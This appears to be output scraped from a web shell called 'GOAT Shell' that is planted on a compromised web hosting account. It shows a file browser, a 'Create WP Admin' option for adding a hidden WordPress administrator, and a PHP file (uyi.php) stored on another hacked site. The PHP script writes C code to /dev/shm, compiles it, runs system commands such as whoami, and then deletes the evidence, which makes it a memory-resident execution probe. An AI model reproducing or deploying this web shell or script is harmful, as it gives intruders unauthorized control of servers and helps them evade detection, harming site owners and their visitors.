🐐 GOAT Shell
Current path:
home
/
fresvfqn
/
crimescenecleaningupsuffolkcounty.com
/
👤 Create WP Admin
⬆️
Go up: fresvfqn
✏️ Editing: uyi.php.tar
home/fresvfqn/24hourwaterdamagerestorationlongisland.com/bajk/uyi.php 0000644 00000001757 15102006405 0022226 0 ustar 00 <?php // compiler_ram.php - Use /dev/shm echo "<pre>"; echo "=== RAM DISK COMPILATION TEST ===\n\n"; $c_code = '#include <stdio.h> int main() { printf("RAM DISK EXECUTION WORKS!\\n"); system("whoami > /dev/shm/ram_result.txt"); return 0; }'; $c_file = '/dev/shm/ram_test.c'; $binary = '/dev/shm/ram_test'; file_put_contents($c_file, $c_code); echo "1. C file created in /dev/shm/\n"; system("gcc $c_file -o $binary 2>&1"); echo "2. Compilation attempted\n"; if(file_exists($binary)) { echo "3. Binary created, trying execution...\n"; system("$binary 2>&1", $ret); echo "4. Execution return: $ret\n"; if(file_exists('/dev/shm/ram_result.txt')) { echo "5. Result: " . file_get_contents('/dev/shm/ram_result.txt'); } } else { echo "3. ❌ Binary not created\n"; } // Cleanup if(file_exists($c_file)) unlink($c_file); if(file_exists($binary)) unlink($binary); if(file_exists('/dev/shm/ram_result.txt')) unlink('/dev/shm/ram_result.txt'); echo "</pre>"; ?>